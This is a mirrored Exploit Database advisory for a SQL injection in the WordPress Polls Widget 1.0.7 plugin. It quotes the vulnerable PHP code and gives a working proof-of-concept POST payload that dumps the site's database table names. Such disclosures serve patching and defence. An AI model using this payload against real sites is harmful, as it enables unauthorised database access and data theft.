WordPress Plugin Polls Widget 1.0.7 – SQL Injection

• Exploit Database
• 17 阅读

• 作者： WICS
  日期： 2015-12-08
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/38902/

• Exploit Title : wordpress poll widget version 1.0.7 SQL Injection vulnerability
  Author : WICS
  Date : 7/12/2015
  Software Link: https://wordpress.org/plugins/polls-widget/
  Affected Version: 1.0.7 and below
  
  
  Overview:
  
  
  Poll widget is wordpress plugin which provide fancy user Polling layout to website users and user can vote according to options provided in specific poll.
  Thisplugin has 2000+ active installations.
  Vulnerability exist in front_end.php file in which code is not filtering user supplied data on parameter question_id 
  line no. 36$question_id=$_POST['question_id'];
  ....
  ....
  line no. 94-->$answer=$wpdb->get_results('SELECT `answer_name`,`vote` FROM '.$wpdb->prefix.'polls WHERE question_id='.$question_id,ARRAY_A);
  print_r(json_encode($answer, JSON_FORCE_OBJECT));
  
  this script is vulnerable to union based sql injection with column count 2
  
  
  POC
  
  http://localhost/wp-admin/admin-ajax.php?action=pollinsertvalues
  
  in post data, add this 
  
  question_id=1337 union selectgroup_concat(0x7e,(select(@)from(select(@:=0x00),(select(@)from(information_schema.tables)where table_schema=database() and (@)in(@:=concat(@,0x3C62723E,table_name))))a)),2-- -&poll_answer_securety=4ac4f387e2&date_answers[0]=5